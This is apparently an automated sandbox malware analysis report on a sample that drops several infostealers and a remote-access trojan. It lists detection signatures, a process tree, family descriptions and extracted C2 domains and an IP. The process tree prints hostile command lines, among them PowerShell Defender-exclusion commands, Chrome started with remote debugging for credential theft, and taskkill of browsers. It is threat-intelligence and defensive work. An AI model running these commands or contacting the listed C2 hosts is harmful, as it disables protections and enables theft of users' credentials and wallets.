Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1576014
MD5:	842e251ca1e3a812356248ebe8154f16
SHA1:	efb511d328cf0a7690e62cbb89adeebc07dddb3c
SHA256:	14caca276f869dcc33a065b67a826a79c27cb0ec54407da220ed26cd045d941a
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected DCRat

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected Stealc

Yara detected Vidar stealer

Yara detected zgRAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Infects executable files (exe, dll, sys, html)

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious execution chain found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Compiles C# or VB.Net code

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file overlay found

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Powershell Defender Exclusion

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5472 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 842E251CA1E3A812356248EBE8154F16)

skotes.exe (PID: 5220 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 842E251CA1E3A812356248EBE8154F16)

skotes.exe (PID: 1984 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 842E251CA1E3A812356248EBE8154F16)

skotes.exe (PID: 6828 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 842E251CA1E3A812356248EBE8154F16)

muNJF0r.exe (PID: 1196 cmdline: "C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe" MD5: B5A1474FCB8F7B9809D52546BD304AF3)

wscript.exe (PID: 4152 cmdline: "C:\Windows\System32\WScript.exe" "C:\Bridgecontainerserver\VBxKsR3W5qREBSxxvIt5VpzoFdFFANtbsRk6NDfKSHeOxN7UsJds5Ck.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 1368 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Bridgecontainerserver\SlMo.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

BrokerhostNet.exe (PID: 4632 cmdline: "C:\Bridgecontainerserver/BrokerhostNet.exe" MD5: 0F91548CA49C64D6A8CD3846854F484C)

csc.exe (PID: 520 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 5212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 6072 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD666.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSCAD9FC9E56B4E44A3B8144428FC2A7230.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

csc.exe (PID: 5584 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vwuajvyx\vwuajvyx.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 2756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 596 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDBB5.tmp" "c:\Users\user\AppData\Local\Temp\1016093001\CSCF52E109CF7C34EE59E7558C84C69E5BD.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

csc.exe (PID: 6048 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3j5gfw0f\3j5gfw0f.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 1748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 2716 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE79C.tmp" "c:\Users\user\AppData\Local\Temp\1016094001\CSCBC27F4A5D6E544C999D1D8F55EBB7E2B.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 5476 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7892 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 6128 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Bridgecontainerserver\BrokerhostNet.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6864 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\dgKup0njeM.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 4920 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 1056 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

MCdUWiJkswOzRL.exe (PID: 7716 cmdline: "C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe" MD5: 0F91548CA49C64D6A8CD3846854F484C)

26624fe56e.exe (PID: 3648 cmdline: "C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe" MD5: 6C1D0DABE1EC5E928F27B3223F25C26B)

376a884392.exe (PID: 6788 cmdline: "C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe" MD5: 259EB5422D10FD32691E5D0B5585BC0E)

91a3357555.exe (PID: 1012 cmdline: "C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe" MD5: E328245A28E6A2CDB14BDE4D150A342E)

chrome.exe (PID: 3820 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=2064,i,12420018661240836454,12296064884710189682,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

897a67bb94.exe (PID: 3220 cmdline: "C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe" MD5: F0367D03A91E16273B989532829233A6)

taskkill.exe (PID: 6740 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7180 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7472 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7848 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8024 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

4007342d09.exe (PID: 7236 cmdline: "C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe" MD5: EAD473718663D9F85A4D487F8343BF82)

376a884392.exe (PID: 6928 cmdline: "C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe" MD5: 7B7176E37C70F8B4A9E81F418635E428)

376a884392.exe.exe (PID: 4232 cmdline: "C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe" MD5: 259EB5422D10FD32691E5D0B5585BC0E)

MCdUWiJkswOzRL.exe (PID: 5956 cmdline: "C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe" MD5: 0F91548CA49C64D6A8CD3846854F484C)

svchost.exe (PID: 4820 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

91a3357555.exe (PID: 5492 cmdline: "C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe" MD5: B5BFE8C3C0C05EA3AD5F7A52F11BE8D2)

MCdUWiJkswOzRL.exe (PID: 2708 cmdline: "C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe" MD5: 0F91548CA49C64D6A8CD3846854F484C)

91a3357555.exe.exe (PID: 5172 cmdline: "C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe" MD5: E328245A28E6A2CDB14BDE4D150A342E)

897a67bb94.exe (PID: 7876 cmdline: "C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe" MD5: F0367D03A91E16273B989532829233A6)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: LummaC

{"C2 url": ["debonairnukk.xyz", "awake-weaves.cyou", "effecterectz.xyz", "deafeninggeh.biz", "wrathful-jammy.cyou", "shineugler.biz", "immureprech.biz", "diffuculttan.xyz", "sordid-snaked.cyou"], "Build id": "rAGxSF--Support"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Bridgecontainerserver\BrokerhostNet.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Bridgecontainerserver\BrokerhostNet.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author
0000001A.00000003.2958265937.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002E.00000003.2725067964.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000003.2493573409.0000000005290000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2226055818.0000000006A74000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000003.00000003.1597940667.0000000004A60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.2957089920.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.2989174141.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.2900363212.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1550039277.0000000005330000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1585485486.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.2092338241.0000000005100000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.2962946644.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.2957786310.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000000.2464502971.0000000000EE2000.00000002.00000001.01000000.00000010.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.2917030280.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2226609838.0000000007387000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000010.00000002.2680511643.0000000013557000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: 376a884392.exe PID: 6788	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 376a884392.exe PID: 6788	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 376a884392.exe PID: 6788	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BrokerhostNet.exe PID: 4632	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: 91a3357555.exe PID: 1012	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 91a3357555.exe PID: 1012	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 897a67bb94.exe PID: 3220	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 376a884392.exe.exe PID: 4232	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 376a884392.exe.exe PID: 4232	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MCdUWiJkswOzRL.exe PID: 5956	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: 91a3357555.exe.exe PID: 5172	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 91a3357555.exe.exe PID: 5172	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author
9.3.muNJF0r.exe.73d570a.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
9.3.muNJF0r.exe.73d570a.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.0.BrokerhostNet.exe.ee0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
16.0.BrokerhostNet.exe.ee0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.3.muNJF0r.exe.6ac270a.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
9.3.muNJF0r.exe.6ac270a.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.3.muNJF0r.exe.6ac270a.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
9.3.muNJF0r.exe.6ac270a.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
2.2.skotes.exe.970000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.970000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.ce0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6828, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\376a884392.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Bridgecontainerserver/BrokerhostNet.exe", ParentImage: C:\Bridgecontainerserver\BrokerhostNet.exe, ParentProcessId: 4632, ParentProcessName: BrokerhostNet.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe', ProcessId: 5476, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Bridgecontainerserver/BrokerhostNet.exe", ParentImage: C:\Bridgecontainerserver\BrokerhostNet.exe, ParentProcessId: 4632, ParentProcessName: BrokerhostNet.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe', ProcessId: 5476, ProcessName: powershell.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe, ParentProcessId: 1012, ParentProcessName: 91a3357555.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 3820, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

